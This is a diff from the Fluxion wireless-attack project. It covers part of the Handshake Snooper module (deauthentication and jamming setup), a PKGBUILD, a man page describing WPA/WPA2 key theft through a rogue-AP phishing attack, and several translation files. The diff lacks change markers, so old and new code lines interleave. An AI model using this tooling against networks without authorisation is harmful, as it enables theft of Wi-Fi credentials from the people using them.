HandshakeSnooperUninitializedJammerInterface=$2; shift;;
|
||||
-a|--asynchronous)
|
||||
HandshakeSnooperVerifierSynchronicity="non-blocking";;
|
||||
esac
|
||||
shift # Shift new parameters
|
||||
done
|
||||
|
||||
|
||||
# ============================================================ #
|
||||
# ===================== < Fluxion Hooks > ==================== #
|
||||
# ============================================================ #
|
||||
attack_targetting_interfaces() {
|
||||
interface_list_wireless
|
||||
local interface
|
||||
for interface in "${InterfaceListWireless[@]}"; do
|
||||
echo "$interface"
|
||||
done
|
||||
}
|
||||
|
||||
unprep_attack() {
|
||||
HandshakeSnooperState="Not Ready"
|
||||
|
||||
handshake_snooper_unset_verifier_synchronicity
|
||||
handshake_snooper_unset_verifier_interval
|
||||
handshake_snooper_unset_verifier_identifier
|
||||
handshake_snooper_unset_jammer_interface
|
||||
handshake_snooper_unset_deauthenticator_identifier
|
||||
|
||||
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture"
|
||||
}
|
||||
|
||||
function prep_attack() {
|
||||
prep_attack() {
|
||||
mkdir -p "$FLUXIONWorkspacePath/capture"
|
||||
|
||||
while true; do
|
||||
handshake_snooper_set_deauthenticator_identifier
|
||||
if [ $? -ne 0 ]; then break; fi
|
||||
handshake_snooper_set_verifier_identifier
|
||||
if [ $? -ne 0 ]; then
|
||||
handshake_snooper_unset_deauthenticator_identifier
|
||||
continue
|
||||
fi
|
||||
handshake_snooper_set_verifier_interval
|
||||
if [ $? -ne 0 ]; then
|
||||
handshake_snooper_unset_verifier_identifier
|
||||
continue
|
||||
fi
|
||||
handshake_snooper_set_verifier_synchronicity
|
||||
if [ $? -ne 0 ]; then
|
||||
handshake_snooper_unset_verifier_interval
|
||||
continue
|
||||
fi
|
||||
HandshakeSnooperState="Ready"
|
||||
break
|
||||
done
|
||||
IOUtilsHeader="handshake_snooper_header"
|
||||
|
||||
# Check for handshake abortion.
|
||||
if [ "$HandshakeSnooperState" != "Ready" ]; then
|
||||
unprep_attack
|
||||
# Removed read-only due to local constant shadowing bug.
|
||||
# I've reported the bug, we can add it when fixed.
|
||||
local sequence=(
|
||||
"set_deauthenticator_identifier"
|
||||
"set_jammer_interface"
|
||||
"set_verifier_identifier"
|
||||
"set_verifier_interval"
|
||||
"set_verifier_synchronicity"
|
||||
)
|
||||
|
||||
if ! fluxion_do_sequence handshake_snooper sequence[@]; then
|
||||
return 1
|
||||
fi
|
||||
|
||||
HandshakeSnooperState="Ready"
|
||||
}
|
||||
|
||||
function stop_attack() {
|
||||
stop_attack() {
|
||||
if [ "$HANDSHAKEArbiterPID" ]; then
|
||||
kill -s SIGABRT $HANDSHAKEArbiterPID &>$FLUXIONOutputDevice
|
||||
kill -s SIGABRT $HANDSHAKEArbiterPID &> $FLUXIONOutputDevice
|
||||
fi
|
||||
|
||||
HANDSHAKEArbiterPID=""
|
||||
|
@ -292,12 +441,12 @@ function stop_attack() {
|
|||
HandshakeSnooperState="Stopped"
|
||||
}
|
||||
|
||||
function start_attack() {
|
||||
start_attack() {
|
||||
if [ "$HandshakeSnooperState" = "Running" ]; then return 0; fi
|
||||
if [ "$HandshakeSnooperState" != "Ready" ]; then return 1; fi
|
||||
HandshakeSnooperState="Running"
|
||||
|
||||
handshake_snooper_arbiter_daemon $$ &>$FLUXIONOutputDevice &
|
||||
handshake_snooper_arbiter_daemon $$ &> $FLUXIONOutputDevice &
|
||||
HANDSHAKEArbiterPID=$!
|
||||
}
|
||||
|
||||
|
|
|
@ -2,6 +2,8 @@
|
|||
# identifier: Handshake Snopper
|
||||
# description: Acquires WPA/WPA2 encryption hashes.
|
||||
|
||||
|
||||
HandshakeSnooperJammerInterfaceQuery="Select an interface for jamming."
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
HandshakeSnooperMethodQuery="Select a method of handshake retrieval"
|
||||
HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)"
|
||||
|
|
|
@ -0,0 +1,66 @@
|
|||
# Maintainer: Cyberfee <deltax.fluxion@gmail.com>
|
||||
|
||||
_pkgname=fluxion
|
||||
pkgname=$_pkgname-git
|
||||
pkgver=r1183.63b821f
|
||||
pkgrel=1
|
||||
pkgdesc='Fluxion is a security auditing and social-engineering research tool'
|
||||
url='https://github.com/FluxionNetwork/fluxion'
|
||||
license=('GPL3')
|
||||
source=('git://github.com/FluxionNetwork/fluxion.git#branch=master')
|
||||
|
||||
depends=(
|
||||
'aircrack-ng' 'bash>=4.2' 'coreutils'
|
||||
'awk' 'iw' 'unzip'
|
||||
'curl' 'bc' 'xterm'
|
||||
)
|
||||
|
||||
makedepends=('binutils' 'coreutils' 'git')
|
||||
conflicts=('fluxion-git')
|
||||
provides=('fluxion-git')
|
||||
sha256sums=('SKIP')
|
||||
arch=('any')
|
||||
|
||||
prepare() {
|
||||
if [ -d "$srcdir/$pkgname" ]; then
|
||||
rm -rf "$srcdir/$pkgname"
|
||||
fi
|
||||
|
||||
mkdir -p "$srcdir/$pkgname"
|
||||
cd "$srcdir/$pkgname"
|
||||
}
|
||||
|
||||
pkgver() {
|
||||
cd "$srcdir/$_pkgname"
|
||||
|
||||
( set -o pipefail
|
||||
git describe --long 2>/dev/null | sed 's/\([^-]*-g\)/r\1/;s/-/./g' ||
|
||||
printf "r%s.%s" "$(git rev-list --count HEAD)" "$(git rev-parse --short HEAD)"
|
||||
)
|
||||
}
|
||||
|
||||
prepare() {
|
||||
cd "$srcdir/$_pkgname"
|
||||
}
|
||||
|
||||
package() {
|
||||
cd "$srcdir/$_pkgname"
|
||||
|
||||
mkdir -p "$pkgdir/usr/bin"
|
||||
mkdir -p "$pkgdir/usr/share/fluxion"
|
||||
|
||||
install -Dm644 -t "$pkgdir/usr/share/doc/fluxion/" README.md
|
||||
install -Dm644 LICENSE "$pkgdir/usr/share/licenses/airgeddon/LICENSE"
|
||||
|
||||
rm -rf *.md .git* *.yml .project .editorconfig
|
||||
|
||||
cp -a --no-preserve=ownership * "$pkgdir/usr/share/fluxion"
|
||||
|
||||
cat > "$pkgdir/usr/bin/fluxion" << EOF
|
||||
#!/bin/sh
|
||||
cd /usr/share/fluxion
|
||||
exec bash fluxion.sh "\${@}"
|
||||
EOF
|
||||
|
||||
chmod a+x "$pkgdir/usr/bin/fluxion"
|
||||
}
|
|
@ -0,0 +1,76 @@
|
|||
.TH FLUXION 1 "MARCH 2018" Linux "User Manuals"
|
||||
.SH NAME
|
||||
fluxion \- Fluxion is a security auditing and social-engineering research tool
|
||||
.SH SYNOPSIS
|
||||
.B fluxion [-debug] [-l
|
||||
.I language
|
||||
.B ]
|
||||
.I attack
|
||||
.B ...
|
||||
.SH DESCRIPTION
|
||||
.B fluxion is a security auditing and social-engineering research tool.
|
||||
It is a remake of linset by vk496 with (hopefully) less bugs
|
||||
and more functionality. The script attempts to retrieve the WPA/WPA2
|
||||
key from a target access point by means of a social engineering
|
||||
(phising) attack. It's compatible with the latest release of Kali
|
||||
(rolling). Fluxion's attacks' setup is mostly manual,
|
||||
but experimental auto-mode handles some of the attacks'
|
||||
setup parameters.
|
||||
.SH OPTIONS
|
||||
.IP "-v "
|
||||
Print version number.
|
||||
.IP "--help "
|
||||
Print help page and exit with 0.
|
||||
.IP "-m "
|
||||
Run fluxion in manual mode instead of auto mode.
|
||||
.IP "-k "
|
||||
Kill wireless connection if it is connected.
|
||||
.IP "-d "
|
||||
Run fluxion in debug mode.
|
||||
.IP "-x "
|
||||
Try to run fluxion with xterm terminals instead of tmux.
|
||||
.IP "-r "
|
||||
Reload driver.
|
||||
.IP "-l <language>"
|
||||
Define a certain language.
|
||||
.IP "-e <essid>"
|
||||
Select the target network based on the ESSID.
|
||||
.IP "-c <channel>"
|
||||
Indicate the channel(s) to listen to.
|
||||
.IP "-a <attack>"
|
||||
Define a certain attack.
|
||||
.IP "--ratio <ratio>"
|
||||
Define the windows size. Bigger ratio -> smaller window size.
|
||||
Default is 4.
|
||||
.IP "-b <bssid>"
|
||||
Select the target network based on the access point MAC address.
|
||||
.IP "-j <jamming interface>"
|
||||
Define a certain jamming interface.
|
||||
.IP "-a <access point interface>"
|
||||
Define a certain access point interface.
|
||||
.SH FILES
|
||||
.I /tmp/fluxspace/
|
||||
.RS
|
||||
The system wide tmp directory.
|
||||
.RE
|
||||
.I $FLUXION/attacks/
|
||||
.RS
|
||||
Folder where handshakes and passwords
|
||||
are stored in.
|
||||
.SH ENVIRONMENT
|
||||
.IP FLUXIONAuto
|
||||
Automatically run fluxion in auto mode if exported.
|
||||
.IP FLUXIONDebug
|
||||
Automatically run fluxion in debug mode if exported.
|
||||
.IP FLUXIONWIKillProcesses
|
||||
Automatically kill any interfering process(es).
|
||||
.SH DIAGNOSTICS
|
||||
Please checkout the other log files or use
|
||||
the debug mode.
|
||||
.SH BUGS
|
||||
Please report any bugs at:
|
||||
https://github.com/FluxionNetwork/fluxion/issues
|
||||
.SH AUTHOR
|
||||
Cyberfee, l3op, dlinkproto, vk496, MPX4132
|
||||
.SH "SEE ALSO"
|
||||
.BR aircrack-ng (8),
|
|
@ -0,0 +1,92 @@
|
|||
FLUXION(1) User Manuals FLUXION(1)
|
||||
|
||||
|
||||
|
||||
NAME
|
||||
fluxion - Fluxion is a security auditing and social-engineering
|
||||
research tool
|
||||
|
||||
SYNOPSIS
|
||||
fluxion [-debug] [-l language ] attack ...
|
||||
|
||||
DESCRIPTION
|
||||
fluxion is a security auditing and social-engineering research tool.
|
||||
It is a remake of linset by vk496 with (hopefully) less bugs and more
|
||||
functionality. The script attempts to retrieve the WPA/WPA2 key from a
|
||||
target access point by means of a social engineering (phising) attack.
|
||||
It's compatible with the latest release of Kali (rolling). Fluxion's
|
||||
attacks' setup is mostly manual, but experimental auto-mode handles
|
||||
some of the attacks' setup parameters.
|
||||
|
||||
OPTIONS
|
||||
-v Print version number.
|
||||
|
||||
--help Print help page and exit with 0.
|
||||
|
||||
-m Run fluxion in manual mode instead of auto mode.
|
||||
|
||||
-k Kill wireless connection if it is connected.
|
||||
|
||||
-d Run fluxion in debug mode.
|
||||
|
||||
-x Try to run fluxion with xterm terminals instead of tmux.
|
||||
|
||||
-r Reload driver.
|
||||
|
||||
-l <language>
|
||||
Define a certain language.
|
||||
|
||||
-e <essid>
|
||||
Select the target network based on the ESSID.
|
||||
|
||||
-c <channel>
|
||||
Indicate the channel(s) to listen to.
|
||||
|
||||
-a <attack>
|
||||
Define a certain attack.
|
||||
|
||||
--ratio <ratio>
|
||||
Define the windows size. Bigger ratio -> smaller window size.
|
||||
Default is 4.
|
||||
|
||||
-b <bssid>
|
||||
Select the target network based on the access point MAC address.
|
||||
|
||||
-j <jamming interface>
|
||||
Define a certain jamming interface.
|
||||
|
||||
-a <access point interface>
|
||||
Define a certain access point interface.
|
||||
|
||||
FILES
|
||||
/tmp/fluxspace/
|
||||
The system wide tmp directory.
|
||||
$FLUXION/attacks/
|
||||
Folder where handshakes and passwords are stored in.
|
||||
|
||||
ENVIRONMENT
|
||||
FLUXIONAuto
|
||||
Automatically run fluxion in auto mode if exported.
|
||||
|
||||
FLUXIONDebug
|
||||
Automatically run fluxion in debug mode if exported.
|
||||
|
||||
FLUXIONWIKillProcesses
|
||||
Automatically kill any interfering process(es).
|
||||
|
||||
DIAGNOSTICS
|
||||
Please checkout the other log files or use the debug mode.
|
||||
|
||||
BUGS
|
||||
Please report any bugs at: https://github.com/FluxionNetwork/flux-
|
||||
ion/issues
|
||||
|
||||
AUTHOR
|
||||
Cyberfee, l3op, dlinkproto, vk496, MPX4132
|
||||
|
||||
SEE ALSO
|
||||
aircrack-ng(8),
|
||||
|
||||
|
||||
|
||||
Linux MARCH 2018 FLUXION(1)
|
1025
fluxion.sh
1025
fluxion.sh
File diff suppressed because it is too large
Load Diff
|
@ -35,6 +35,7 @@ FLUXIONAbsolutePathInfo="Absolute path"
|
|||
FLUXIONScannerChannelQuery="Vyberte kanál"
|
||||
FLUXIONScannerChannelOptionAll="Všechny kanály"
|
||||
FLUXIONScannerChannelOptionSpecific="Specifický kanál(y)"
|
||||
FluxionRestartOption="Restart"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONScannerChannelSingleTip="Jeden kanál"
|
||||
FLUXIONScannerChannelMiltipleTip="Více kanálů"
|
||||
|
|
|
@ -2,26 +2,26 @@
|
|||
# German
|
||||
# native: Deutsch
|
||||
|
||||
FLUXIONInterfaceQuery="Wähle deine Netzwerkkarte aus"
|
||||
FLUXIONUnblockingWINotice="Entferne den Softblock von allen Netzwerkkarten..."
|
||||
FLUXIONFindingExtraWINotice="Schaue nach fremden drahlosen Netzwerkkarten..."
|
||||
FLUXIONRemovingExtraWINotice="Entferne freme drahtlose Netzwerkkarten..."
|
||||
FLUXIONFindingWINotice="Schaue nach fremden drahlosen Netzwerkkarten..."
|
||||
FLUXIONSelectedBusyWIError="Die ausgewählte Netzwerkkarte befindet sich gerade in benutzung"
|
||||
FLUXIONSelectedBusyWITip="Führe \"export FLUXIONWIKillProcesses=1\" aus bevor du FLUXION nutzt."
|
||||
FLUXIONGatheringWIInfoNotice="Sammeln der Daten von allen Netzwerken..."
|
||||
FLUXIONInterfaceQuery="Wähle Sie ihre Netzwerkkarte aus"
|
||||
FLUXIONUnblockingWINotice="Wiederherstellen von allen Netzwerkkarten..."
|
||||
FLUXIONFindingExtraWINotice="Suche nach Netzwerkkarten..."
|
||||
FLUXIONRemovingExtraWINotice="Entferne Netzwerkkarten..."
|
||||
FLUXIONFindingWINotice="Suche nach Netzwerkkarten..."
|
||||
FLUXIONSelectedBusyWIError="Die ausgewählte Netzwerkkarte befindet sich gerade in Benutzung"
|
||||
FLUXIONSelectedBusyWITip="Führe \"export FLUXIONWIKillProcesses=1\" aus bevor Sie FLUXION benutzen"
|
||||
FLUXIONGatheringWIInfoNotice="Sammeln von Daten, von allen Netzwerken..."
|
||||
FLUXIONUnknownWIDriverError="Netzwerkkartentreiber konnte nicht bestimmt werden"
|
||||
FLUXIONUnloadingWIDriverNotice="Warte auf Netzwerkarte \"\$wiSelected\"..."
|
||||
FLUXIONLoadingWIDriverNotice="Warte auf Netzwerkarte \"\$wiSelected\"..."
|
||||
FLUXIONLoadingWIDriverNotice="Warte auf Treiberantwort \"\$wiSelected\"..."
|
||||
FLUXIONFindingConflictingProcessesNotice="Suche nach Diensten die Probleme verursachen können..."
|
||||
FLUXIONKillingConflictingProcessesNotice="Beende Diensten die Probleme verursachen können..."
|
||||
FLUXIONPhysicalWIDeviceUnknownError="${CRed}Die Physische Schnittstelle konnte nicht ermittelt werden"
|
||||
FLUXIONStartingWIMonitorNotice="Starte die Netzwerkkarte im Monitor Mode"
|
||||
FLUXIONStartingWIMonitorNotice="Starte die Netzwerkkarte im sogenannten Monitor Mode"
|
||||
FLUXIONMonitorModeWIEnabledNotice="${CGrn}Monitormode konnte erfolgreich gestartet werden"
|
||||
FLUXIONMonitorModeWIFailedError="${CRed}Monitormode konnte nicht gestartet werden"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONStartingScannerNotice="Starte Netzwerkscanner"
|
||||
FLUXIONStartingScannerTip="Wenn nach etwa 5 Sekunden Netzwerke sichbar werden, schließe Netzwerkscanner"
|
||||
FLUXIONStartingScannerTip="Wenn nach etwa 30 Sekunden Netzwerke sichbar werden, schließe Netzwerkscanner"
|
||||
FLUXIONPreparingScannerResultsNotice="Analysieren von allen gesammelten Daten..."
|
||||
FLUXIONScannerFailedNotice="Netzwerkkarte ist möglichweise nicht geeignet ( Keine Netzwerke gefunden )"
|
||||
FLUXIONScannerDetectedNothingNotice="Keine Netzwerke konnten gefunden werden"
|
||||
|
@ -30,14 +30,15 @@ FLUXIONHashFileDoesNotExistError="Hash Datei existiert nicht"
|
|||
FLUXIONHashInvalidError="${CRed}Fehler$CClr, falscher Hash"
|
||||
FLUXIONHashValidNotice="${CGrn}Erfolgreich$CClr,Hash wurde erfolgreich verifiziert"
|
||||
FLUXIONPathToHandshakeFileQuery="Geben sie den Pfad zum Handshake an $CClr(Beispiel: /.../dump-01.cap)"
|
||||
FLUXIONAbsolutePathInfo="Geben sie den Absoluten Pfad ein"
|
||||
FLUXIONAbsolutePathInfo="Geben sie den absoluten Pfad ein"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONScannerChannelQuery="Wähle deinen Netzwerkkanal aus"
|
||||
FLUXIONScannerChannelOptionAll="Alle Netzwerkkanäle"
|
||||
FLUXIONScannerChannelOptionSpecific="Spezifische Kanal(e)"
|
||||
FLUXIONScannerChannelQuery="Wähle deinen Netzwerkfrequenz aus"
|
||||
FLUXIONScannerChannelOptionAll="Alle Netzwerkfrequenzen"
|
||||
FLUXIONScannerChannelOptionSpecific="Spezifische Frequenz(en)"
|
||||
FluxionRestartOption="Restart"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONScannerChannelSingleTip="Einzelner Kanal"
|
||||
FLUXIONScannerChannelMiltipleTip="Mehrere Kanäle"
|
||||
FLUXIONScannerChannelSingleTip="Einzelne Frequenz"
|
||||
FLUXIONScannerChannelMiltipleTip="Mehrere Frequenzen"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONScannerHeader="FLUXION Scanner"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
|
@ -48,15 +49,15 @@ FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}Langsame Verbindung
|
|||
FLUXIONHashSourceQuery="Wähle eine Methode aus um den Handshake zu erlangen"
|
||||
FLUXIONHashSourcePathOption="Handshake Pfad eingeben"
|
||||
FLUXIONHashSourceRescanOption="Handshake Ordner neu einlesen"
|
||||
FLUXIONFoundHashNotice="Ein hash wurde für das Netzwerk gefunden"
|
||||
FLUXIONUseFoundHashQuery="Möchten sie dieses Netzwerk nutzen"
|
||||
FLUXIONHashVerificationMethodQuery="Wählen sie eine Methode um den Hash zu Verifizieren"
|
||||
FLUXIONHashVerificationMethodPyritOption="Pyrit Verifizierung (${CGrn}Empfohlen$CClr)"
|
||||
FLUXIONHashVerificationMethodAircrackOption="Aircrack Verfizierung (${CYel}Unglaubwürdig$CClr)"
|
||||
FLUXIONFoundHashNotice="Ein Hash wurde für das Netzwerk gefunden"
|
||||
FLUXIONUseFoundHashQuery="Möchten Sie dieses Netzwerk nutzen?"
|
||||
FLUXIONHashVerificationMethodQuery="Wählen sie eine Methode um den Hash zu verifizieren"
|
||||
FLUXIONHashVerificationMethodPyritOption="Pyrit verifizierung (${CGrn}Empfohlen$CClr)"
|
||||
FLUXIONHashVerificationMethodAircrackOption="Aircrack verfizierung (${CYel}Nicht empfohlen$CClr)"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONAttackQuery="Wählen Sie einen drahtlosen Angriff für den Zugangspunkt aus"
|
||||
FLUXIONAttackInProgressNotice="${CCyn}\$FLUXIONAttack$CClr Angriff gestartet"
|
||||
FLUXIONSelectAnotherAttackOption="Wähle einen anderen Angriff"
|
||||
FLUXIONSelectAnotherAttackOption="Wählen Sie einen anderen Angriff"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONGeneralBackOption="${CRed}Zurück"
|
||||
FLUXIONGeneralExitOption="${CRed}Ausgang"
|
||||
|
@ -65,7 +66,7 @@ FLUXIONGeneralNotFoundError="Nicht gefunden"
|
|||
FLUXIONGeneralXTermFailureError="${CRed}Xterm Terminal konnte nicht gestartet werden"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONCleanupAndClosingNotice="Aufräumen und schließen"
|
||||
FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr"
|
||||
FLUXIONKillingProcessNotice="Beende ${CGry}\$targetID$CClr"
|
||||
FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr"
|
||||
FLUXIONDisablingMonitorNotice="Deaktivierung der Netzwerkkarte"
|
||||
FLUXIONDisablingExtraInterfacesNotice="Deaktivierung der Netzwerkkarte"
|
||||
|
|
|
@ -35,6 +35,7 @@ FLUXIONAbsolutePathInfo="Εισαγετε διαδρομή αρχειου"
|
|||
FLUXIONScannerChannelQuery="Επίλεξτε κανάλι"
|
||||
FLUXIONScannerChannelOptionAll="Όλα τα κανάλια"
|
||||
FLUXIONScannerChannelOptionSpecific="Συγκεκριμένο(α) κανάλι(α)"
|
||||
FluxionRestartOption="Restart"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONScannerChannelSingleTip="Ενα κανάλι"
|
||||
FLUXIONScannerChannelMiltipleTip="Πολλαπλά κανάλια"
|
||||
|
|
|
@ -3,22 +3,36 @@
|
|||
# native: English
|
||||
|
||||
FLUXIONInterfaceQuery="Select a wireless interface"
|
||||
FLUXIONUnblockingWINotice="Unblocking all wireless interfaces..."
|
||||
FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..."
|
||||
FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"."
|
||||
FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"."
|
||||
FLUXIONReidentifyingInterface="Renaming interface."
|
||||
FLUXIONUnblockingWINotice="Unblocking all wireless interfaces."
|
||||
|
||||
FLUXIONTargetTrackerInterfaceQuery="Select an interface for target tracking."
|
||||
|
||||
#FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..."
|
||||
FLUXIONRemovingExtraWINotice="Removing extraneous wireless interfaces..."
|
||||
FLUXIONFindingWINotice="Looking for available wireless interfaces..."
|
||||
FLUXIONSelectedBusyWIError="The wireless interface selected appears to be currently in use!"
|
||||
FLUXIONSelectedBusyWITip="Run \"export FLUXIONWIKillProcesses=1\" before FLUXION to use it."
|
||||
FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}."
|
||||
FLUXIONGatheringWIInfoNotice="Gathering interface information..."
|
||||
FLUXIONUnknownWIDriverError="Unable to determine interface driver!"
|
||||
FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$wiSelected\" to unload..."
|
||||
FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$wiSelected\" to load..."
|
||||
FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$interface\" to unload..."
|
||||
FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$interface\" to load..."
|
||||
FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..."
|
||||
FLUXIONKillingConflictingProcessesNotice="Killing notorious services..."
|
||||
FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!"
|
||||
FLUXIONStartingWIMonitorNotice="Starting monitor interface..."
|
||||
FLUXIONMonitorModeWIEnabledNotice="${CGrn}Interface monitor mode enabled."
|
||||
FLUXIONMonitorModeWIFailedError="${CRed}Interface monitor mode failed!"
|
||||
FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!"
|
||||
FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!"
|
||||
|
||||
|
||||
FLUXIONIncompleteTargettingInfoNotice="Missing essid, bssid, or channel information!"
|
||||
|
||||
FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above."
|
||||
|
||||
FLUXIONContinueWithTargetQuery="Continue with this target?"
|
||||
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONStartingScannerNotice="Starting scanner, please wait..."
|
||||
FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner."
|
||||
|
@ -29,8 +43,10 @@ FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..
|
|||
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
|
||||
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
||||
FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!"
|
||||
FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /.../dump-01.cap)"
|
||||
FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /path/to/file.cap)"
|
||||
FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank."
|
||||
FLUXIONAbsolutePathInfo="Absolute path"
|
||||
FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file."
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONScannerChannelQuery="Select a channel to monitor"
|
||||
FLUXIONScannerChannelOptionAll="All channels"
|
||||
|
@ -41,23 +57,23 @@ FLUXIONScannerChannelMiltipleTip="Multiple channels"
|
|||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONScannerHeader="FLUXION Scanner"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONAPServiceQuery="Select an access point service"
|
||||
FLUXIONAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)"
|
||||
FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONHashSourceQuery="Select a method to retrieve the handshake"
|
||||
FLUXIONHashSourcePathOption="Path to capture file"
|
||||
FLUXIONHashSourceRescanOption="Handshake directory (rescan)"
|
||||
FLUXIONHashSourceRescanOption="Rescan handshake directory"
|
||||
FLUXIONFoundHashNotice="A hash for the target AP was found."
|
||||
FLUXIONUseFoundHashQuery="Do you want to use this file?"
|
||||
FLUXIONUseFoundHashOption="Use hash found"
|
||||
FLUXIONSpecifyHashPathOption="Specify path to hash"
|
||||
FLUXIONHashVerificationMethodQuery="Select a method of verification for the hash"
|
||||
FLUXIONHashVerificationMethodPyritOption="pyrit verification (${CGrn}recommended$CClr)"
|
||||
FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}unreliable$CClr)"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONAttackQuery="Select a wireless attack for the access point"
|
||||
FLUXIONAttackInProgressNotice="${CCyn}\$FLUXIONAttack$CClr attack in progress..."
|
||||
FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attack in progress..."
|
||||
FLUXIONSelectAnotherAttackOption="Select another attack"
|
||||
FluxionRestartOption="Restart"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONGeneralSkipOption="${CYel}Skip"
|
||||
FLUXIONGeneralBackOption="${CRed}Back"
|
||||
FLUXIONGeneralExitOption="${CRed}Exit"
|
||||
FLUXIONGeneralRepeatOption="${CRed}Repeat"
|
||||
|
|
|
@ -44,6 +44,7 @@ FLUXIONScannerHeader="FLUXION Escáner"
|
|||
FLUXIONAPServiceQuery="Seleccione Opción de Ataque"
|
||||
FLUXIONAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recomendado$CClr)"
|
||||
FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}Conexión más lenta$CClr)"
|
||||
FluxionRestartOption="Restart"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONHashSourceQuery="Select a method to retrieve the handshake"
|
||||
FLUXIONHashSourcePathOption="Path to capture file"
|
||||
|
|
|
@ -44,6 +44,7 @@ FLUXIONScannerHeader="Scanner FLUXION"
|
|||
FLUXIONAPServiceQuery="Sélectionnez une option d'attaque"
|
||||
